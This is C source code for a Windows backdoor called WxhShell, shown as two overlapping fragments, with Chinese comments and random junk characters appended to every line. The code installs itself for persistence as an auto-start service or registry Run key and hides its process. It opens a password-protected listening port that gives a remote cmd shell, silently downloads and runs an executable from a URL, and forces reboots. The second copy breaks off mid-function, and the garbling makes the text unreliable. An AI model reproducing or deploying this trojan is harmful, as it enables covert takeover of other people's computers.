    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y=x]'3}^  
    else { L 2Os\  
    closesocket(wsh); . ?[2,4F;  
    ExitThread(0); 1 ;4TA}'H  
    } D/9&pRsO  
    break; %S]5wR6;_  
    } f<!eJO:<'  
  // 获取shell C*/d%eHD  
  case 's': { n$ axqvG  
    CmdShell(wsh); PLw;9^<  
    closesocket(wsh); p(v+j_ak  
    ExitThread(0); ^E{~{  
    break; \H*"UgS  
  } y%cg  
  // 退出 A>xFNem  
  case 'x': { 55zimv&DV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4Xe3PdE  
    CloseIt(wsh); 'X<R)E  
    break; 0KHA5dt  
    } [9Q2/V;Uk%  
  // 离开 &f|LjpMCf  
  case 'q': { kZ[E493bV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v5;c} n  
    closesocket(wsh); )<UNiC   
    WSACleanup(); c9=;:E  
    exit(1); p3\F1](Z  
    break; 8qrE<RHU@  
        } i?A4uyYwS  
  } :jT1=PfL  
  } U9y[b82  
L V?- g  
  // 提示信息 =Mc*~[D/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MJt?^G (w?  
} ^^{K[sLB  
  } C^2Tql  
vO&%sjvH  
  return; /U`"Xx  
} $eCxpb..  
{Ymn_   
// shell模块句柄 2VrF~+  
int CmdShell(SOCKET sock) A]WU*GL2H  
{ Zyu4!  
STARTUPINFO si; Eii)zo8Xd  
ZeroMemory(&si,sizeof(si)); `$AX!,<!G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?N~rms e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xeIt7b?#  
PROCESS_INFORMATION ProcessInfo; ,*+F*:o(m  
char cmdline[]="cmd"; [as\>@o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]KA|};>ow  
  return 0; ^$FHI_  
} AcwLs%'sx  
f2`[skNj  
// 自身启动模式 dli?/U@hO  
int StartFromService(void) Ww{bh -nyq  
{ ,?3r-bM  
typedef struct &j<B22t!  
{ mcP]k8?C  
  DWORD ExitStatus; -S"YEH9  
  DWORD PebBaseAddress; ,_!pUal  
  DWORD AffinityMask; ;*BG{rkr  
  DWORD BasePriority; T[`o$j6  
  ULONG UniqueProcessId; Q;*TnVbJ  
  ULONG InheritedFromUniqueProcessId; S4n\<+dR<  
}   PROCESS_BASIC_INFORMATION; `%ZM(9T  
2TXrVaM  
PROCNTQSIP NtQueryInformationProcess; Y^M3m' d?  
+4Aj/$%[q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N<zD<q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `+CRUdr  
B36_ OH  
  HANDLE             hProcess; NoB)tAvw  
  PROCESS_BASIC_INFORMATION pbi; jL8.*pfv  
az*c0Z<pl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D{x'k2=  
  if(NULL == hInst ) return 0; %c<e`P;  
h8&VaJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \uQ yp*P1s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M2W4 RovfR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z\]]d?d?;  
7 y5`YJ}!  
  if (!NtQueryInformationProcess) return 0; G|H+ ,B  
--6C>iY[&u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  SP?~i@H  
  if(!hProcess) return 0; x"9`w 42\r  
v-B{7 ~=#Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ><V<}&:y$(  
$M5iU@A  
  CloseHandle(hProcess); M+j V`J!  
V^;2u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w[YiH $  
if(hProcess==NULL) return 0; iH<:wLY&J  
h6Ovl  
HMODULE hMod; o,>9|EMQZ  
char procName[255]; s1.EE|h,5  
unsigned long cbNeeded; ` $*I%oT;  
B5{ wSr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `d2 r5*<  
%CV@FdB  
  CloseHandle(hProcess); 4 3V {q  
& Xm !i(i  
if(strstr(procName,"services")) return 1; // 以服务启动 <'N"GLJ  
}$i Kz*nx|  
  return 0; // 注册表启动 Rsd~t_a1  
} |(u6xPs;P  
<|8N\FU{  
// 主模块 1Bp?HyCR  
int StartWxhshell(LPSTR lpCmdLine) td JA?  
{ `k2YH?  
  SOCKET wsl; `yJ3"{uO  
BOOL val=TRUE; h]T  
  int port=0; 0`UI^Y~Q  
  struct sockaddr_in door; I!1|);li  
_zt)c!  
  if(wscfg.ws_autoins) Install(); OIJNOuI  
 PgI H(  
port=atoi(lpCmdLine); Iz^h| n  
6i'GM`>w  
if(port<=0) port=wscfg.ws_port; o1lhVM`15  
) rw!. )  
  WSADATA data; xs,,)jF(u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CoZOKRoaH  
o]/*YaB2>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >n$V1U&/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VJbsM1y M  
  door.sin_family = AF_INET; Yw=7(}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c||EXFS}O  
  door.sin_port = htons(port); XX&4OV,^%D  
nl<TM96  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c(Ws3  
closesocket(wsl); ?, B4  
return 1; K Q^CiX  
} F3nYMf  
j/ [V<  
  if(listen(wsl,2) == INVALID_SOCKET) { SG \6qE~  
closesocket(wsl); *).u:>D4  
return 1; 2(I S*idq  
} wtM1gYl^  
  Wxhshell(wsl); 3qf?n5 "8  
  WSACleanup(); 41uiW,  
K}|zKTh:?  
return 0; ES,T[  
w3Lr~_j  
} {,aX|*1Ku~  
~(*2 :9*0  
// 以NT服务方式启动 \MqOHM.[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jlp nR#@  
{ Sf*1Z~P|  
DWORD   status = 0; V#X#rDfJZ  
  DWORD   specificError = 0xfffffff; .n[;H;  
bT>MZK8b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aAKwC01?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )iX2r{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U}T{r%9  
  serviceStatus.dwWin32ExitCode     = 0; moS0y?N  
  serviceStatus.dwServiceSpecificExitCode = 0; QjOO^6Fh  
  serviceStatus.dwCheckPoint       = 0; QL]e<2oPJ  
  serviceStatus.dwWaitHint       = 0; jQBL 8<  
H#Hhi<2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iX%9$Bft<  
  if (hServiceStatusHandle==0) return; :A7\eN5  
dJv2tVm&'  
status = GetLastError(); ?}RPn f  
  if (status!=NO_ERROR) +>3jMs~&  
{ [s4|+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tn{YIp   
    serviceStatus.dwCheckPoint       = 0; :a/l9 m(  
    serviceStatus.dwWaitHint       = 0; O NVhB  
    serviceStatus.dwWin32ExitCode     = status; y%Rq6P=4Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ie4\d2tQ;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wKU9I[]  
    return; igx~6G*  
  } C19}Y4r:  
p0rmcP1Ln  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  LXoZ.3S  
  serviceStatus.dwCheckPoint       = 0; mq}V @H5  
  serviceStatus.dwWaitHint       = 0; n g%~mt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E/V_gci  
} @AtJO>w  
(^oN, 7  
// 处理NT服务事件,比如:启动、停止 12VIP-ABK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r=-b@U.fk>  
{ Ptm=c6H('  
switch(fdwControl) :6MV@{;PJ  
{ xv"v='  
case SERVICE_CONTROL_STOP: dBw7l}  
  serviceStatus.dwWin32ExitCode = 0; dd=ca0c7e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a[Nm< qV05  
  serviceStatus.dwCheckPoint   = 0; mW2D"-s  
  serviceStatus.dwWaitHint     = 0; %2wr%*h  
  { WEYZ(a|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |\2>n!  
  } vBzUuX  
  return; B"YN+So  
case SERVICE_CONTROL_PAUSE: nW)?cQ I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4< +f|(fIA  
  break; dGglt Y  
case SERVICE_CONTROL_CONTINUE: 8WE@ X)e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +T\<oj%}2  
  break; ,wf:Fr  
case SERVICE_CONTROL_INTERROGATE: G2<$to~{  
  break; 5S<Rz)1r  
}; #_eXybUV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L{&>,ww  
} AJ+\Qs(0  
N5c*#lHI  
// 标准应用程序主函数 jG~-V<&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :i4AkBNK  
{ 0K'{w]Q  
2?Y8hm  
// 获取操作系统版本 $l2`@ia"  
OsIsNt=GetOsVer(); 9a[1s|>w-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0W0GSDx  
3! #|hI>f  
  // 从命令行安装 `dw">z,  
  if(strpbrk(lpCmdLine,"iI")) Install(); egK~w8`W%  
"cyRzQ6EH  
  // 下载执行文件 iX o(  
if(wscfg.ws_downexe) { Atb`Q'Yrw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K@<*m!%<2  
  WinExec(wscfg.ws_filenam,SW_HIDE); _TLspqi  
} Nw9@E R  
~s-bA#0S  
if(!OsIsNt) { 7]} I  
// 如果时win9x,隐藏进程并且设置为注册表启动 R?zlZS.~  
HideProc(); idB1%?<  
StartWxhshell(lpCmdLine); oi m7=I0  
} -:95ypi  
else j!@T@ 8J  
  if(StartFromService()) ~/X8Hy!-  
  // 以服务方式启动 Siq]Ii0F;>  
  StartServiceCtrlDispatcher(DispatchTable); XHxJzYMc  
else >?1GJ5]\s  
  // 普通方式启动 ^KdT,^6T  
  StartWxhshell(lpCmdLine); fF(AvMsO  
(/2rj[F&  
return 0; t{>#)5Pqv  
} ber&!9  
0$ON`Vsu|  
DXG`%<ZMn  
X~UL$S;  
=========================================== pV(k6h  
Z^]jy>dj  
c(uD kX  
}W@refS  
(kVY\!UAt  
]isq}Qv~  
" >|, <9z`D  
~;jgl_5?b  
#include <stdio.h> 7m  ou  
#include <string.h> vp2w^/])u  
#include <windows.h> 0Ix,c(%  
#include <winsock2.h> TFG? EO  
#include <winsvc.h> :8(jhs  
#include <urlmon.h> 8!0fT}  
1$1>cuu  
#pragma comment (lib, "Ws2_32.lib") &a4FGzR#  
#pragma comment (lib, "urlmon.lib") #q K.AZi  
J90:c@O"w  
#define MAX_USER   100 // 最大客户端连接数 cpl Ny?UIC  
#define BUF_SOCK   200 // sock buffer Ux1j+}y  
#define KEY_BUFF   255 // 输入 buffer T9}~]zW7P  
qSlo)aP  
#define REBOOT     0   // 重启 [0qswsV  
#define SHUTDOWN   1   // 关机 K>vl o/#!  
L*dGo,oN  
#define DEF_PORT   5000 // 监听端口 @Co6$<  
$3B%4#s  
#define REG_LEN     16   // 注册表键长度 \#JXch  
#define SVC_LEN     80   // NT服务名长度 %f'=9pit  
Xq )7Im}?  
// 从dll定义API _p0gXb1m`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); akk*f+TD`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FAL#p$y}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k-a1^K3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I{[}1W3]W  
 5k@T{  
// wxhshell配置信息 R(pQu! K4  
struct WSCFG { P>u2""c  
  int ws_port;         // 监听端口 )5n0P Zi  
  char ws_passstr[REG_LEN]; // 口令 \9@}0}%`  
  int ws_autoins;       // 安装标记, 1=yes 0=no $W=)-X\>  
  char ws_regname[REG_LEN]; // 注册表键名 -<k)|]8  
  char ws_svcname[REG_LEN]; // 服务名 %E/#h8oN{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +,,dsL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xOPQ~J|z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;~DrsQb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y\j[\UZKO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G~DHNO6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 50dN~(;p  
IP$eJL[&D"  
}; 5L<A7^j  
Xp| 4WM  
// default Wxhshell configuration ob8}v*s  
struct WSCFG wscfg={DEF_PORT, r>! @Z2%s  
    "xuhuanlingzhe", 9(qoME}>=  
    1, p>kny?AJ  
    "Wxhshell", tV_3!7m0$  
    "Wxhshell", s0]ZE\`H>  
            "WxhShell Service", x0>N{ADXQ  
    "Wrsky Windows CmdShell Service", X.>~DT%0Lm  
    "Please Input Your Password: ", n $N M  
  1, S"@6,  
  "http://www.wrsky.com/wxhshell.exe", 5FuV=Yuc  
  "Wxhshell.exe" J/D~]U  
    }; v(R^LqE  
43y@9P0  
// 消息定义模块 `jR8RDD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4OLYB9HP_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j:uq85 s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gh.?6kuh  
char *msg_ws_ext="\n\rExit."; AcEz$wy  
char *msg_ws_end="\n\rQuit."; Tc!n@!RA|  
char *msg_ws_boot="\n\rReboot..."; *~4<CP+"0  
char *msg_ws_poff="\n\rShutdown..."; ~8 UMwpl-  
char *msg_ws_down="\n\rSave to "; l%('5oz@\  
\1&4wzT  
char *msg_ws_err="\n\rErr!"; k&:q|[N  
char *msg_ws_ok="\n\rOK!"; J"< h#@`  
FeS ,TQ4j  
char ExeFile[MAX_PATH]; }f_@@#KB?  
int nUser = 0; RhmkpboucC  
HANDLE handles[MAX_USER]; ctHQZ#.[(  
int OsIsNt; o3\^9-jmp  
f3n^Sw&Q(Q  
SERVICE_STATUS       serviceStatus; t5_76'@cX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z ztp %2c  
y${`W94  
// 函数声明 -hfkF+=U'  
int Install(void); R\X;`ptT  
int Uninstall(void); \2[tM/+Bs  
int DownloadFile(char *sURL, SOCKET wsh); -dF (_ %C  
int Boot(int flag); B5+Q%)52  
void HideProc(void); rN7JJHV  
int GetOsVer(void); )g?jHm-p\  
int Wxhshell(SOCKET wsl); & ^1 b]f  
void TalkWithClient(void *cs); ;qy;;usa  
int CmdShell(SOCKET sock); k<j]b^jbz  
int StartFromService(void); :-U& _%#w  
int StartWxhshell(LPSTR lpCmdLine); @:B}QxC  
Y@q9   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oiR9NB&<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (pM& eow}  
^fsC]9NS  
// 数据结构和表定义 _g9j_ x:=  
SERVICE_TABLE_ENTRY DispatchTable[] = ZU0*iA  
{ 4`9ROC  
{wscfg.ws_svcname, NTServiceMain}, As5l36  
{NULL, NULL} M6quPj  
}; I(kEvfxc"  
8-H:5E 4Y  
// 自我安装 +A1*e+/b\  
int Install(void) gBWr)R  
{ c;]^aaQ+>  
  char svExeFile[MAX_PATH]; >ySO.S  
  HKEY key; 7JuHa /Mv  
  strcpy(svExeFile,ExeFile); kREFh4QO,  
\(=xc2  
// 如果是win9x系统,修改注册表设为自启动 v9,cL.0&  
if(!OsIsNt) { |;(P+Q4lB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9ghUiBPiL:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nO'C2)bBSG  
  RegCloseKey(key); *' es(]W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q9VBK(,X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :/6aBM?  
  RegCloseKey(key); v8'XchJ  
  return 0; .}eM"Kv  
    } |{-?OOKj  
  } ^x/D8 M  
} })kx#_o]'d  
else { m+7%]$  
!B#lZjW#  
// 如果是NT以上系统,安装为系统服务 !2&)6SL/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Khv}q.)F  
if (schSCManager!=0) ME!P{ _/  
{ dblf , x  
  SC_HANDLE schService = CreateService ^jb;4nf  
  ( ndT_;==  
  schSCManager,  !a\HdQ  
  wscfg.ws_svcname, 3}3b@:<  
  wscfg.ws_svcdisp, ;gu4~LQw  
  SERVICE_ALL_ACCESS, |9.J?YP8 (  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _I3"35a  
  SERVICE_AUTO_START, /pU`-  
  SERVICE_ERROR_NORMAL, 2'OY,Ooe  
  svExeFile, 50A\Y)i_mZ  
  NULL, 1^GRUbOU[  
  NULL, @q># ]8  
  NULL, xQzW6H|  
  NULL, lgK5E *^  
  NULL %|:j=/_  
  ); ,CPAS}kS  
  if (schService!=0) ez%:>r4  
  { 9M1DE  
  CloseServiceHandle(schService); ~ Al3Dv9x  
  CloseServiceHandle(schSCManager); }wBpBw2J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  huyfo1(  
  strcat(svExeFile,wscfg.ws_svcname); :i {; 81V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cD!E.2[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c05-1  
  RegCloseKey(key); _*{Lha  
  return 0; `D=d!!1eUi  
    } 2u5\tp?8  
  } L:?Ew9Lf  
  CloseServiceHandle(schSCManager); /[/{m]  
} $\1M"a}F  
} omPxU2Jw  
/CKnXU;  
return 1; U1fqs{>  
} CK|AXz+EN  
^5?|Dj  
// 自我卸载 #cW :04  
int Uninstall(void) xX{Zh;M&[  
{ ]mNsG0r6  
  HKEY key; uTJ z"c`F  
eLgq )  
if(!OsIsNt) { XDyo=A]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gcO$T`  
  RegDeleteValue(key,wscfg.ws_regname); & @_PY  
  RegCloseKey(key); Ku uiU= (L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ci:|x =  
  RegDeleteValue(key,wscfg.ws_regname); |)0Ta 9~  
  RegCloseKey(key); (n2_HePE  
  return 0; 3,*A VcQA  
  } vd$>nJ"  
}  4m=0e  
} 8r@GoG>  
else { rFm?Bu  
hgDFhbHtd6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VQ2'a/s  
if (schSCManager!=0) GiK,+M"d  
{ q|s:&&Wf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ` l'QAIo  
  if (schService!=0) &m9= q|;m  
  { BXxJra/V  
  if(DeleteService(schService)!=0) { xb9^WvV  
  CloseServiceHandle(schService); 4f ~q$Sf]<  
  CloseServiceHandle(schSCManager); l g ,%  
  return 0; Y$)y:.2#  
  } aM#xy6:XG  
  CloseServiceHandle(schService); JX&%5sn(  
  } v^p* l0r6:  
  CloseServiceHandle(schSCManager); *u,xBC2C  
} k,<7)-  
} ]-a/)8  
G-]<+-Q$4  
return 1; OR' e!{  
} Nr)DU.f  
-?{g{6  
// 从指定url下载文件 0Ny +NE:6M  
int DownloadFile(char *sURL, SOCKET wsh) 'IVC!uL,%  
{ 0@E I@X;q  
  HRESULT hr; SJ;{  Hg  
char seps[]= "/"; _F4=+dT|  
char *token; 2S[:mnK  
char *file; @7Ln1v  
char myURL[MAX_PATH]; >Lo'H}[pF  
char myFILE[MAX_PATH]; M)wNu  
CO@ kLI  
strcpy(myURL,sURL); )Wt&*WMFXl  
  token=strtok(myURL,seps); @<4U &  
  while(token!=NULL) l>BM}hS  
  { OS>%pgv  
    file=token; #hu`X6s"  
  token=strtok(NULL,seps); 83#<Yxk~  
  } | "M1+(k7  
Ytqx 0  
GetCurrentDirectory(MAX_PATH,myFILE); 2lN0Sf@  
strcat(myFILE, "\\"); [ws;|n h  
strcat(myFILE, file); I.~=\%Z {  
  send(wsh,myFILE,strlen(myFILE),0); ,qV7$u  
send(wsh,"...",3,0); loBW#>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QC] <`!  
  if(hr==S_OK) zJUT<%[U  
return 0; $`vXI%|.  
else m@L>6;*  
return 1; If'N0^'W  
1E4`&?  
} GN5*  
%=s2>vv9  
// 系统电源模块 [x`),3qD  
int Boot(int flag) /%t`0pi  
{ Wap\J7NY  
  HANDLE hToken; #\_FSr fX  
  TOKEN_PRIVILEGES tkp; K9nW"0>  
!Zc#E,  
  if(OsIsNt) { B7[#z{8'#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A%&lW9z7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dd, &a  
    tkp.PrivilegeCount = 1; XI`s M~'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y(T$k9%}+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rF{,]U9`  
if(flag==REBOOT) { auY?Cj'"fs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]1h9:PF  
  return 0; |A0U 3$S=  
} ajkpU.6E:  
else { d5{RIM|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DM\pi9<m  
  return 0;  ggfCfn  
} c3<H272\  
  } Ex L7 ]3r  
  else { ).Iifu|ks  
if(flag==REBOOT) { %Br1b6 V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {`> pigo  
  return 0; /%{CJ0Y  
} 0dD.xuor  
else { hX-^h2eV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rCA0c8  
  return 0; ICG:4n(,  
} W~l.feW$i  
} #0^a-47PA<  
N?A}WW#  
return 1; K,P`V &m?  
} ~0Zy$L/D  
N!\1O,  
// win9x进程隐藏模块 EVLDP\w{  
void HideProc(void) *rV{(%\m  
{ v!n|X7  
6aWnj*dF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Uvc^  
  if ( hKernel != NULL ) ,Vz-w;oDn  
  { "N}MhcdS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DwTVoCC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M3JV^{O/DV  
    FreeLibrary(hKernel); `bLJ wJ7  
  } 9 "M-nH*<  
-&%! 4(Je  
return; +lf`Dd3  
} wjOJn]  
c2Y\bKeN  
// 获取操作系统版本 e%7#e%1s  
int GetOsVer(void) |a'$v4dCF  
{ $HRl:KDdP~  
  OSVERSIONINFO winfo; (~"#=fs.L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /}eb1o  
  GetVersionEx(&winfo); %hz5)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y%(8'Ch  
  return 1; Q5 o0!w  
  else YCdtf7P=q  
  return 0; ,kFp%qNj  
} WK{F  
f|j<Mj+\  
// 客户端句柄模块 ?+{_x^  
int Wxhshell(SOCKET wsl) G6\`Iy68/v  
{ S]&aDg1y}  
  SOCKET wsh; !rZZ/M"i  
  struct sockaddr_in client; x4?g>v*J  
  DWORD myID; .`&k`  
7WNUHLEt  
  while(nUser<MAX_USER) Jr(Z Ym'  
{ @v\8+0  
  int nSize=sizeof(client); _ZK*p+u%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I%z,s{9p  
  if(wsh==INVALID_SOCKET) return 1; $B]_^  
D|vck1C5,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .[?2_e#9%  
if(handles[nUser]==0) I&% Z*H  
  closesocket(wsh); ^i@0P}K<  
else eK\i={va  
  nUser++; uj)fah?Wg  
  } idjk uB(6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v++&%  
{~'Iu8TvZ  
  return 0; O`9vEovjs  
} O6\c1ha  
sP>-k7K.  
// 关闭 socket v*OT[l7  
void CloseIt(SOCKET wsh) ))7CqN  
{ bq}`jP~#  
closesocket(wsh); #aE>-81SS&  
nUser--; mWMtz]M}  
ExitThread(0); 1>bNw-kz7  
} +h1X-K:I  
yy`XtJBWWs  
// 客户端请求句柄 n<A<Xj08T9  
void TalkWithClient(void *cs) hN\Q&F!  
{ xo!2 GPD.  
Y7')~C`up^  
  SOCKET wsh=(SOCKET)cs; `"#hhKG  
  char pwd[SVC_LEN]; F&7^M0x\ O  
  char cmd[KEY_BUFF]; !2.eJ)G  
char chr[1]; -^< t%{d  
int i,j; DX/oHkLD'  
srS)"Jt  
  while (nUser < MAX_USER) { zXId up@  
=8Z-ORW51  
if(wscfg.ws_passstr) { jK{qw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5YgT*}L+,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZdT-  
  //ZeroMemory(pwd,KEY_BUFF); py wc~dWvz  
      i=0; @J'tPW<$  
  while(i<SVC_LEN) { j@/p: fk  
@E"lN  
  // 设置超时 /1xBZf rN  
  fd_set FdRead; A(n3<(O/{Z  
  struct timeval TimeOut; qsYg%Z  
  FD_ZERO(&FdRead); \ #la8,+9  
  FD_SET(wsh,&FdRead); nJwP|P_  
  TimeOut.tv_sec=8; MG^YT%f  
  TimeOut.tv_usec=0; FA%V>&;`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UC.kI&A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4)p ID`  
,@zw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,}l|_GGj  
  pwd=chr[0]; ;Qq7@(2y  
  if(chr[0]==0xd || chr[0]==0xa) { $gCN[%+j  
  pwd=0; *bzqH2h8  
  break; qXoq< |  
  } R.YUUXT  
  i++; sg4(@>  
    } nZEew .T:6  
m;ju@5X  
  // 如果是非法用户,关闭 socket R_ )PbFw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m!3D5z]n9  
} bicbCC6kC  
'oUTY *  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fx:4d$>;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <00=bZzX  
SErh"~[  
while(1) { ~G.MaSm  
[i_evsUj?  
  ZeroMemory(cmd,KEY_BUFF); v]T?xo~@'  
^E".`~R  
      // 自动支持客户端 telnet标准   rkz84wDx  
  j=0; vTC{  
  while(j<KEY_BUFF) { 4,BJK`{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ('o} EoXS  
  cmd[j]=chr[0]; jI9#OEH_g  
  if(chr[0]==0xa || chr[0]==0xd) { |fo#pwX  
  cmd[j]=0; 7t/Y5Qf  
  break; h\+8eeIl  
  } Y3SV6""y/  
  j++; 3jHE,5m  
    } A f}o/g  
|<uBJ-5  
  // 下载文件 g@Rs.Zq  
  if(strstr(cmd,"http://")) { j' b0sve|?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {e0(M*u  
  if(DownloadFile(cmd,wsh)) z|zEsDh;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :`uu[^  
  else HmHM#~5(`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VH vL:z  
  } ;s8\F]K  
  else { v@{VQVx  
e7plL^^`  
